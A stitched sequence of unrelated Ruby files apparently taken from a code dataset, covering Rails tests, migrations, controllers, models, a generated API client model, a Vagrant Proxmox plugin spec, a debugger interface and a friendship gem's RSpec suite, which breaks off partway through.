test 'vertigoclinic' do
assert_contributor_names '9aa8174', 'Greg Miller'
end
test "victor-ronr-trac\100carotena.net" do
assert_contributor_names '473e5bd', 'Victor Jalencas'
end
test 'vijay' do
assert_contributor_names '8000719', 'Vijay Dev'
end
test "vinbarnes\100gmail.com" do
assert_contributor_names '18e2188', 'Kevin Barnes'
end
test 'virusman' do
assert_contributor_names '921305b', 'Victor Babenko'
end
test 'vitaly' do
assert_contributor_names '762fc54', 'Vitaly Kushner'
end
test 'vladr' do
assert_contributor_names '8091ed5', 'Vlad Romascanu'
end
test 'WAKASUGI 5T111111' do
assert_contributor_names '0176aef', 'Hirofumi Wakasugi'
end
test 'wallerjake' do
assert_contributor_names '9bc4eb7e', 'Jake Waller'
end
test 'wangchun' do
assert_contributor_names 'c6a3a39', 'Wang Chun'
end
test 'wangjohn' do
assert_contributor_names '3182295', 'John J. Wang'
end
test 'watson' do
assert_contributor_names 'defb4d0', 'Thomas Watson Steen'
end
test 'watsonian' do
assert_contributor_names 'edd59b7', 'Joel Watson'
end
test "wbruce\100gmail.com" do
assert_contributor_names 'df70e28', 'Bruce Williams'
end
test "wejn\100box.cz" do
assert_contributor_names '88bb279', 'Michal Šafránek'
end
test 'wesley.moxam' do
assert_contributor_names 'e781fad', 'Wesley Moxam'
end
test 'weyus' do
assert_contributor_names '3122d32', 'Wes Gamble'
end
test 'wharris' do
assert_contributor_names 'b18585f', 'Will Harris'
end
test 'wildchild' do
assert_contributor_names '65539c9', 'Alexander Uvarov'
end
test 'Will' do
assert_contributor_names 'b1bbf90', 'Will Bryant'
end
test 'will.bryant' do
assert_contributor_names 'c1abe44', 'Will Bryant'
end
test 'willnet' do
assert_contributor_names '11d41c6', 'Shinichi Maeshima'
end
test 'wilson' do
assert_contributor_names '11d2a30', 'Wilson Bilkovich'
end
test "wilsonb\100gmail.com" do
assert_contributor_names '584bec9', 'Wilson Bilkovich'
end
test 'windock' do
assert_contributor_names '6feffe5', 'Andrew Shcheglov'
end
test 'wingfire' do
assert_contributor_names 'a9f2c12', 'Christof Spies'
end
test 'Winston' do
assert_contributor_names 'b52c66f', 'Winston Teo Yong Wei'
end
test 'Wintermute' do
assert_contributor_names '7ec91d4', 'Dave Murphy'
end
test 'Wizard' do
assert_contributor_names '07f92e8', 'Melih Arda Yalçiner'
end
test 'wmoxam' do
assert_contributor_names '91c14e9', 'Wesley Moxam'
end
test "wolfgang\100stufenlos.net" do
assert_contributor_names 'affe7c0', 'Wolfgang Klinger'
end
test "work\100ashleymoran.me.uk" do
assert_contributor_names '2a12b56', 'Ashley Moran'
end
test 'wycats' do
assert_contributor_names 'fd15359', 'Yehuda Katz'
end
test 'xal' do
assert_contributor_names '0ceab81', 'Tobias Lütke'
end
test 'xavier' do
assert_contributor_names '083b0b7', 'Xavier Defrang'
end
test 'xaviershay' do
assert_contributor_names '569a78c', 'Xavier Shay'
end
test 'Xenda' do
assert_contributor_names 'fabd2ce', 'Alessandra Pereyra'
end
test "xyctka\100gmail.com" do
assert_contributor_names '5890ced', 'Vitalii Khustochka'
end
test 'Yamada Masaki' do
assert_contributor_names 'f498000', 'Masaki Yamada'
end
test 'YanhaoYang' do
assert_contributor_names '2f35f61', 'Yanhao Yang'
end
test 'Yasuhiko Katoh (y@su)' do
assert_contributor_names '539d929', 'Yasuhiko Katoh'
end
test 'yhirano55' do
assert_contributor_names '5af7d47', 'Yoshiyuki Hirano'
end
test 'ymendel' do
assert_contributor_names '173e2d2', 'Yossef Mendelssohn'
end
test 'yob' do
assert_contributor_names '656a20a', 'James Healy'
end
test 'yon' do
assert_contributor_names '2f25413', 'Yonatan Feldman'
end
test "yon\100milliped.com" do
assert_contributor_names '908e9a1', 'Yonatan Feldman'
end
test "yrashk\100fp.org.ua" do
assert_contributor_names '2ad8dc6', 'Yurii Rashkovskii'
end
test "yrashk\100gmail.com" do
assert_contributor_names 'f3e5e07', 'Yurii Rashkovskii'
end
test 'ysbaddaden' do
assert_contributor_names 'b0f2b94', 'Julien Portalier'
end
test 'yuki3738' do
assert_contributor_names '17bb531', 'Yuki Minamiya'
end
test 'yuuji.yaginuma' do
assert_contributor_names '4fded7c', 'Yuuji Yaginuma'
end
test 'Yuji Yaginuma' do
assert_contributor_names 'fbd33b9', 'Yuuji Yaginuma'
end
test 'yury' do
assert_contributor_names '3df90de', 'Yury Korolev'
end
test 'yyyc514' do
assert_contributor_names 'dad3e83', 'Josh Goebel'
end
test "z\100wzph.com" do
assert_contributor_names 'd9839c1', 'Zachary Holt'
end
test 'zackchandler' do
assert_contributor_names 'd6f6a41', 'Zack Chandler'
end
test "zaitzow\100gmail.com" do
assert_contributor_names '08fd13d', 'August Zaitzow Flatby'
end
test 'Zamith' do
assert_contributor_names '6f418a0', 'Luís Ferreira'
end
test 'zapnap' do
assert_contributor_names '096f3f6', 'Nick Plante'
end
test 'zdennis' do
assert_contributor_names '57cde63', 'Zach Dennis'
end
test 'zenspider' do
assert_contributor_names 'a86e594', 'Ryan Davis (zenspider)'
end
test 'zhengjia' do
assert_contributor_names '55759a6', 'Zheng Jia'
end
test 'zires' do
assert_contributor_names '35f38b7', 'Thierry Zires'
end
test "zraii\100comcast.net" do
assert_contributor_names '9d8e348', 'Martin Emde'
end
test 'zsombor' do
assert_contributor_names '2227a17', 'Dee Zsombor'
end
test 'प्रथमेश' do
assert_contributor_names '41739a2', 'Prathamesh Sonpatki'
end
test 'प्रथमेश Sonpatki' do
assert_contributor_names 'a7a2bc0f66', 'Prathamesh Sonpatki'
end
end
end
| 23.662176 | 81 | 0.672869 |
6a0c97941cda1a17dca9078f9ca3d8e659273a17 | 279 | class AddFalseByDefaultToRetiredOnItems < ActiveRecord::Migration
def change
change_column :items, :retired, :boolean, :default => false
Item.all.each do |item|
if item.retired.nil?
item.retired = false
item.save
end
end
end
end
| 19.928571 | 65 | 0.648746 |
334474d7d2d37da4d40829bfbf91568af4f56648 | 416 | module Health
class AbstractHealthController < ApplicationController
newrelic_ignore_apdex
def index
summary = health_checker.check
# Add health check summary data to New Relic traces.
::NewRelic::Agent.add_custom_attributes(
health_check_summary: summary.as_json,
)
render json: summary, status: (summary.healthy? ? :ok : :internal_server_error)
end
end
end
| 24.470588 | 85 | 0.709135 |
1db5cc596d2b298768f9972394c22279b1ac4cab | 244 | class Author < ApplicationRecord
has_one :account, dependent: :destroy
has_many :posts, dependent: :destroy
validates :name, presence: true
validates_associated :account
accepts_nested_attributes_for :account, update_only: true
end
| 24.4 | 59 | 0.790984 |
1c572d6fd3f8a17f74e6e53e7019b058b5950c2c | 1,931 | class UsersController < ApplicationController
before_action :logged_in_user, only: [:index, :edit, :update, :destroy,
:following, :followers]
before_action :correct_user, only: [:edit, :update]
before_action :admin_user, only: :destroy
def index
@users = User.paginate(page: params[:page])
end
def show
@user = User.find(params[:id])
@microposts = @user.microposts.paginate(page: params[:page])
end
def new
@user = User.new
end
def create
@user = User.new(user_params)
if @user.save
@user.send_activation_email
flash[:info] = "Please check your email to activate your account."
redirect_to root_url
else
render 'new'
end
end
def edit
@user = User.find(params[:id])
end
def update
@user = User.find(params[:id])
if @user.update_attributes(user_params)
flash[:success] = "Profile updated"
redirect_to @user
else
render 'edit'
end
end
def destroy
User.find(params[:id]).destroy
flash[:success] = "User deleted"
redirect_to users_url
end
def following
@title = "Following"
@user = User.find(params[:id])
@users = @user.following.paginate(page: params[:page])
render 'show_follow'
end
def followers
@title = "Followers"
@user = User.find(params[:id])
@users = @user.followers.paginate(page: params[:page])
render 'show_follow'
end
private
def user_params
params.require(:user).permit(:name, :email, :password,
:password_confirmation)
end
# beforeアクション
# 正しいユーザーかどうか確認
def correct_user
@user = User.find(params[:id])
redirect_to(root_url) unless current_user?(@user)
end
# 管理者かどうか確認
def admin_user
redirect_to(root_url) unless current_user.admin?
end
end
| 22.453488 | 73 | 0.611082 |
79e23ecc800f4f75ca25a1ac37f8dba57fd721e7 | 489 | class Location < ApplicationRecord
has_many :inventory_tallies, foreign_key: :storage_location_id
has_many :meetings
has_many :purchases
has_many :volunteers, foreign_key: 'university_location_id',
dependent: :nullify
enum location_type: {
# Example types from ERD
storage_unit: 0,
shop: 1, # Can't call it `store` because it's an AR method
meeting_space: 2,
video_chat_link: 3,
distribution_partner: 4,
university: 5
}
end
| 27.166667 | 64 | 0.693252 |
ac3ac9d6c31d4260e3fc01d91023cbed652b46a2 | 151 | module IDViewTool
class Renderer
def self.copyright name, msg
"© #{Time.now.year} | <b>#{name}</b> #{msg}".html_safe
end
end
end | 21.571429 | 65 | 0.622517 |
e2e3c1b8b8f62cef0223c11fb5ab49cef312236f | 3,335 | class AddFtsToHistory < ActiveRecord::Migration[5.1]
def self.up
execute "SET statement_timeout = 0"
execute "SET search_path = public"
execute "ALTER TABLE history_changes ADD COLUMN value_index tsvector"
# Is there seriously no string join function in Postgres, even though it has three
# different functions for split?
execute """
CREATE OR REPLACE FUNCTION join_string(words varchar[], delimitor varchar) RETURNS varchar AS $$
DECLARE
result varchar := '';
first boolean := true;
BEGIN
FOR i IN coalesce(array_lower(words, 1), 0) .. coalesce(array_upper(words, 1), 0) LOOP
IF NOT first THEN
result := result || delimitor;
ELSE
first := false;
END IF;
result := result || words[i];
END LOOP;
RETURN result;
END
$$ LANGUAGE plpgsql;
"""
execute """
CREATE OR REPLACE FUNCTION get_new_tags(old_array varchar[], new_array varchar[]) RETURNS varchar[] AS $$
DECLARE
changed_tags varchar[];
BEGIN
FOR i IN array_lower(new_array, 1) .. array_upper(new_array, 1) LOOP
IF NOT new_array[i] = ANY (old_array) THEN
changed_tags := array_append(changed_tags, new_array[i]);
END IF;
END LOOP;
RETURN changed_tags;
END
$$ LANGUAGE plpgsql;
"""
# For most value fields, just index it directly. For cached_tags, index the changes compared
# to the previous value.
execute """
CREATE OR REPLACE FUNCTION history_changes_index_trigger() RETURNS trigger AS $$
DECLARE
old_tags varchar;
old_tags_array varchar[];
new_tags_array varchar[];
changed_tags_array varchar[];
indexed_value varchar;
BEGIN
IF (new.table_name, new.field) IN (('posts', 'cached_tags')) THEN
old_tags := prev.value FROM history_changes prev WHERE (prev.id = new.previous_id) LIMIT 1;
old_tags_array := regexp_split_to_array(COALESCE(old_tags, ''), ' ');
new_tags_array := regexp_split_to_array(COALESCE(new.value, ''), ' ');
changed_tags_array := get_new_tags(old_tags_array, new_tags_array);
changed_tags_array := array_cat(changed_tags_array, get_new_tags(new_tags_array, old_tags_array));
indexed_value := join_string(changed_tags_array, ' ');
ELSEIF (new.table_name, new.field) IN (('pools', 'name')) THEN
indexed_value := translate(new.value, '_', ' ');
ELSEIF (new.table_name, new.field) IN (('posts', 'cached_tags'), ('posts', 'source'), ('pools', 'description')) THEN
indexed_value := new.value;
ELSE
RETURN new;
END IF;
new.value_index := to_tsvector('public.danbooru', indexed_value);
RETURN new;
END
$$ LANGUAGE plpgsql;
"""
execute """
CREATE TRIGGER trg_history_changes_value_index_update BEFORE INSERT OR UPDATE ON history_changes
FOR EACH ROW EXECUTE PROCEDURE history_changes_index_trigger();
"""
# Trigger a value_index update for all rows.
execute "UPDATE history_changes SET value = value"
# Create the index after updating.
execute "CREATE INDEX index_history_changes_on_value_index ON history_changes USING gin(value_index)"
end
def self.down
execute "ALTER TABLE history_changes DROP COLUMN value_index"
end
end
| 34.739583 | 122 | 0.665967 |
bf4e3a23d3de4b801a4cfec7dbafee9f10267a3f | 1,220 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/eventarc_v1beta1/service.rb'
require 'google/apis/eventarc_v1beta1/classes.rb'
require 'google/apis/eventarc_v1beta1/representations.rb'
require 'google/apis/eventarc_v1beta1/gem_version.rb'
module Google
module Apis
# Eventarc API
#
#
#
# @see https://cloud.google.com/eventarc
module EventarcV1beta1
# Version of the Eventarc API this client connects to.
# This is NOT the gem version.
VERSION = 'V1beta1'
# See, edit, configure, and delete your Google Cloud Platform data
AUTH_CLOUD_PLATFORM = 'https://www.googleapis.com/auth/cloud-platform'
end
end
end
| 32.972973 | 76 | 0.736885 |
ff0a44b24da7f70209027600e5edb549e515f372 | 451 | require 'test_helper'
class NotesControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get notes_index_url
assert_response :success
end
test "should get create" do
get notes_create_url
assert_response :success
end
test "should get update" do
get notes_update_url
assert_response :success
end
test "should get destroy" do
get notes_destroy_url
assert_response :success
end
end
| 18.04 | 59 | 0.740576 |
e90f1452f0bd6f828fa288093c98ce642d79718d | 1,275 | # -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = "activemodel"
s.version = "4.2.5"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.authors = ["David Heinemeier Hansson"]
s.date = "2015-11-12"
s.description = "A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing."
s.email = "[email protected]"
s.homepage = "http://www.rubyonrails.org"
s.licenses = ["MIT"]
s.require_paths = ["lib"]
s.required_ruby_version = Gem::Requirement.new(">= 1.9.3")
s.rubygems_version = "2.0.14.1"
s.summary = "A toolkit for building modeling frameworks (part of Rails)."
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<activesupport>, ["= 4.2.5"])
s.add_runtime_dependency(%q<builder>, ["~> 3.1"])
else
s.add_dependency(%q<activesupport>, ["= 4.2.5"])
s.add_dependency(%q<builder>, ["~> 3.1"])
end
else
s.add_dependency(%q<activesupport>, ["= 4.2.5"])
s.add_dependency(%q<builder>, ["~> 3.1"])
end
end
| 37.5 | 185 | 0.66902 |
1cf8d940f2ac4372546fa578b39950769b2e429c | 6,494 | =begin
#Tatum API
## Authentication <!-- ReDoc-Inject: <security-definitions> -->
OpenAPI spec version: 3.9.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 3.0.31
=end
require 'date'
module Tatum
class VetTxClauses
attr_accessor :to
attr_accessor :value
attr_accessor :data
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'to' => :'to',
:'value' => :'value',
:'data' => :'data'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'to' => :'Object',
:'value' => :'Object',
:'data' => :'Object'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `Tatum::VetTxClauses` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `Tatum::VetTxClauses`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'to')
self.to = attributes[:'to']
end
if attributes.key?(:'value')
self.value = attributes[:'value']
end
if attributes.key?(:'data')
self.data = attributes[:'data']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
to == o.to &&
value == o.value &&
data == o.data
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[to, value, data].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
elsif attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
Tatum.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end end
end
| 28.862222 | 197 | 0.60656 |
62868af78c5c4905bf98428b4eb150b117171fd5 | 2,194 | require 'spec_helper'
require 'actions/proxmox_action_shared'
module VagrantPlugins::Proxmox
describe Action::ShutdownVm do
let(:environment) { Vagrant::Environment.new vagrantfile_name: 'dummy_box/Vagrantfile' }
let(:connection) { Connection.new 'https://proxmox.example.com/api2/json' }
let(:env) { {machine: environment.machine(environment.primary_machine_name, :proxmox),
ui: double('ui').as_null_object,
proxmox_connection: connection} }
subject(:action) { described_class.new(-> (_) {}, environment) }
describe '#call' do
before do
env[:machine].id = 'localhost/100'
allow(connection).to receive_messages :shutdown_vm => 'OK'
end
it_behaves_like 'a proxmox action call'
it 'should call the shutdown_vm function of connection' do
expect(connection).to receive(:shutdown_vm).with '100'
action.call env
end
it 'should print a message to the user interface' do
expect(env[:ui]).to receive(:info).with 'Shutting down the virtual machine...'
expect(env[:ui]).to receive(:info).with 'Done!'
action.call env
end
context 'when the proxmox server responds with an error to the shutdown request' do
context 'when the proxmox server replies with an internal server error to the shutdown request' do
it 'should raise a VMShutdownError' do
allow(connection).to receive(:shutdown_vm).and_raise ApiError::ServerError
expect { action.send :call, env }.to raise_error Errors::VMShutdownError
end
end
context 'when the proxmox server replies with an internal server error to the task status request' do
it 'should raise a VMShutdownError' do
allow(connection).to receive(:shutdown_vm).and_raise ApiError::ServerError
expect { action.send :call, env }.to raise_error Errors::VMShutdownError
end
end
context 'when the proxmox server does not reply the task status request with OK' do
it 'should raise a VMShutdownError' do
allow(connection).to receive_messages :shutdown_vm => 'shutdown vm error'
expect { action.send :call, env }.to raise_error Errors::VMShutdownError, /shutdown vm error/
end
end
end
end
end
end
| 33.242424 | 105 | 0.716044 |
876e2e7852ac268972ade4591d0157471fa32b9e | 1,608 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "googleauth"
module Google
module Cloud
module Iap
module V1
module IdentityAwareProxyOAuthService
# Credentials for the IdentityAwareProxyOAuthService API.
class Credentials < ::Google::Auth::Credentials
self.scope = [
"https://www.googleapis.com/auth/cloud-platform"
]
self.env_vars = [
"IAP_CREDENTIALS",
"IAP_KEYFILE",
"GOOGLE_CLOUD_CREDENTIALS",
"GOOGLE_CLOUD_KEYFILE",
"GCLOUD_KEYFILE",
"IAP_CREDENTIALS_JSON",
"IAP_KEYFILE_JSON",
"GOOGLE_CLOUD_CREDENTIALS_JSON",
"GOOGLE_CLOUD_KEYFILE_JSON",
"GCLOUD_KEYFILE_JSON"
]
self.paths = [
"~/.config/google_cloud/application_default_credentials.json"
]
end
end
end
end
end
end
| 30.923077 | 75 | 0.633085 |
e2fe549c57918e91e6fc953dbdc8bc6c16c45d33 | 519 | class OrderSerializer < ActiveModel::Serializer
attributes :id, :product, :seller, :buyer
# has_one :user
# has_one :product
def seller
seller = User.find_by(id: object.product.user_id)
return UserSerializer.new(seller)
end
def buyer
buyer = object.user
return UserSerializer.new(buyer)
end
def product
return {
name: object.product.name,
price: object.product.price,
quantity: object.product.quantity,
image_url: object.product.image_url
}
end
end
| 20.76 | 53 | 0.685934 |
acd46e71e0f39b634b5130b8a63a3604d9a9f2a5 | 2,773 | # -*- coding: utf-8 -*-
# Copyright (C) 2010, 2011 Rocky Bernstein <[email protected]>
# A base class for a debugger interface.
class Trepan
unless defined?(NotImplementedMessage)
NotImplementedMessage = 'This method must be overriden in a subclass'
end
# A debugger interface handles the communication or interaction with between
# the program and the outside portion which could be
# - a user,
# - a front-end that talks to a user, or
# - another interface in another process or computer
class Interface
attr_accessor :history_io, :history_save, :interactive, :input, :output
unless defined?(YES)
YES = %w(y yes oui si yep ja)
NO = %w(n no non nope nein)
YES_OR_NO = YES + NO
end
def initialize(inp=nil, out=nil, opts={})
@histfile = nil
@history_io = nil
@history_save = false
@histsize = nil
@input = inp || STDIN
@interactive = false
@opts = opts
@output = out || STDOUT
end
# Closes all input and/or output.
def close
@input.close unless !@input || @input.closed?
@output.close unless !@output || @output.closed?
end
# Called when a dangerous action is about to be done to make sure
# it's okay. `prompt' is printed; user response is returned.
def confirm(prompt, default=false)
raise RuntimeError, Trepan::NotImplementedMessage
end
# Common routine for reporting debugger error messages.
def errmsg(str, prefix='** ')
if str.is_a?(Array)
str.each{|s| errmsg(s)}
else
str.split("\n").each do |s|
msg("%s%s" % [prefix, s])
end
end
end
def finalize(last_wishes=nil)
close
end
def input_eof?
@input.eof?
end
# Return true if interface is interactive.
def interactive?
# Default false and making subclasses figure out how to determine
# interactiveness.
false
end
# used to write to a debugger that is connected to this
# server; `str' written will have a newline added to it.
def msg(message)
if message.is_a?(Array)
message.each{|s| msg(s)}
else
message = message ? message.to_s + "\n" : ''
@output.write(message)
end
end
# used to write to a debugger that is connected to this
# server; `str' written will not have a newline added to it
def msg_nocr(msg)
@output.write(msg)
end
def read_command(prompt='')
line = readline(prompt)
# FIXME: Do something with history?
return line
end
def readline(prompt='')
@output.flush
@output.write(prompt) if prompt and prompt.size > 0
@input.readline
end
end
end
| 26.160377 | 78 | 0.617021 |
283273a1173a5617745d0461fb2c65cb0c405388 | 579 | #!/usr/bin/env ruby
# encoding: utf-8
$:.unshift File.dirname(__FILE__)
require 'bundler'
Bundler.require
configure :development do
require 'sinatra/reloader'
end
require 'lib/light'
light = Light.new :default
before do
content_type 'application/json'
end
get '/' do
{ status: 'OK', value: light.on? ? 'on' : 'off' }.to_json
end
post '/' do
body = request.body.read
if body == ''
light.on!
status 201
{ status: 'Created' }.to_json
else
status 400
{ status: 'Bad Request' }.to_json
end
end
delete '/' do
light.off!
status 204
end
| 13.159091 | 59 | 0.649396 |
4a4de40944f50bf4eacb0747516e4f94f4b95a7b | 127 | require 'test_helper'
class OrderTransferTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 15.875 | 49 | 0.716535 |
e88ec72d82bdd66ef72cb50e5c1b8278c461aec0 | 8,326 | require File.join(File.dirname(__FILE__), 'spec_helper')
describe 'Circle' do
describe 'methods' do
it {User.should respond_to(:has_circle)}
it {Fabricate(:user).should respond_to(:befriend)}
it {Fabricate(:user).should respond_to(:friends?)}
it {Fabricate(:user).should respond_to(:accept_friend_request)}
it {Fabricate(:user).should respond_to(:deny_friend_request)}
it {Fabricate(:user).should respond_to(:unfriend)}
it {Fabricate(:user).should respond_to(:block)}
it {Fabricate(:user).should respond_to(:unblock)}
end
describe "user" do
before(:each) do
@bill = Fabricate(:user, login: 'Bill')
@charles = Fabricate(:user, login: 'charles')
end
describe "using befriend" do
it 'should not allow sending of requests if the user cannot send' do
@bill.stub(:can_send_friend_request?) {false}
friendship, status = @bill.befriend(@charles)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_CANNOT_SEND
end
it 'should not fail if can_send_friend_request? is undefined' do
friendship, status = @bill.befriend(@charles)
friendship.should_not be_nil
status.should == Circle::Friendship::STATUS_REQUESTED
end
it 'should create a friendship when each user befriends one another' do
@bill.befriend(@charles)
@charles.befriend(@bill)
@bill.reload
@charles.reload
@bill.friends_count.should == 1
@charles.friends_count.should == 1
end
it 'should not create a friendship if either user cannot accept requests' do
@bill.befriend(@charles)
@charles.stub(:can_accept_friend_request?) {false}
friendship, status = @charles.befriend(@bill)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_CANNOT_ACCEPT
end
it 'should return an error status if you try to friend yourself' do
friendship, status = @bill.befriend(@bill)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_FRIEND_IS_YOURSELF
end
it 'should return an error status when the passed in user is already a friend' do
@bill.befriend(@charles)
@charles.befriend(@bill)
friendship, status = @bill.befriend(@charles)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_ALREADY_FRIENDS
end
it 'should return an error status when the request has already been made' do |variable|
@bill.befriend(@charles)
friendship, status = @bill.befriend(@charles)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_ALREADY_REQUESTED
end
it 'should re-request a friendship if the user is not blocked' do
friendship, status = @bill.befriend(@charles)
friendship.should_not be_nil
status.should == Circle::Friendship::STATUS_REQUESTED
friendship, status = @charles.deny_friend_request(@bill)
friendship.should_not be_nil
status.should == Circle::Friendship::STATUS_FRIENDSHIP_DENIED
friendship, status = @bill.befriend(@charles)
friendship.should_not be_nil
status.should == Circle::Friendship::STATUS_REQUESTED
end
end
describe "accepting a request" do
it 'should create a friendship when the user accepts a request' do
@bill.befriend(@charles)
@charles.accept_friend_request(@bill)
@bill.reload
@charles.reload
@bill.friends_count.should == 1
@charles.friends_count.should == 1
end
it 'should not create a friendship when the user attempts to accept if the user cannot accept' do
@bill.befriend(@charles)
@charles.stub(:can_accept_friend_request?) {false}
friendship, status = @charles.accept_friend_request(@bill)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_CANNOT_ACCEPT
end
it 'should return a not found status if the request does not exist' do
friendship, status = @bill.accept_friend_request(@charles)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_NOT_FOUND
end
end
describe "denying a request" do
it 'should return the friendship object and a denied status' do
@bill.befriend(@charles)
friendship, status = @charles.deny_friend_request(@bill)
friendship.should_not be_nil
status.should == Circle::Friendship::STATUS_FRIENDSHIP_DENIED
end
it 'should update the friendship object with a denied status' do
@bill.befriend(@charles)
friendship, status = @charles.deny_friend_request(@bill)
friendship.should_not be_nil
friendship.status.should == Circle::Friendship::FRIENDSHIP_DENIED
end
it 'should return a not found status if the request does not exist' do
friendship, status = @bill.deny_friend_request(@charles)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_NOT_FOUND
end
end
describe 'unfriending' do
it 'should remove the friendship if the user unfriends another user' do
@bill.befriend(@charles)
@charles.befriend(@bill)
@bill.friends.include?(@charles).should be_true
@charles.friends.include?(@bill).should be_true
@bill.unfriend(@charles)
@bill.friends.include?(@charles).should be_false
@charles.friends.include?(@bill).should be_false
end
it 'should decrement the friends counter' do
@bill.befriend(@charles)
@charles.befriend(@bill)
@bill.reload
@charles.reload
@bill.friends_count.should == 1
@charles.friends_count.should == 1
@bill.unfriend(@charles)
@bill.reload
@charles.reload
@bill.friends_count.should == 0
@charles.friends_count.should == 0
end
end
describe 'destroying all friendships' do
it "should remove all friendships for a user" do
@bill.befriend(@charles)
@charles.befriend(@bill)
@bill.reload
@charles.reload
@bill.friends_count.should == 1
@charles.friends_count.should == 1
@bill.send(:destroy_all_friendships)
@bill.reload
@charles.reload
@bill.friends_count.should == 0
@charles.friends_count.should == 0
end
end
describe "friends" do
it 'should return the friends of a user' do
@bill.befriend(@charles)
@charles.befriend(@bill)
@user = Fabricate(:user)
@bill.befriend(@user)
@user.befriend(@bill)
@bill.friends.should == [@charles, @user]
@charles.friends.should == [@bill]
@user.friends.should == [@bill]
end
end
describe 'blocking' do
before(:each) do
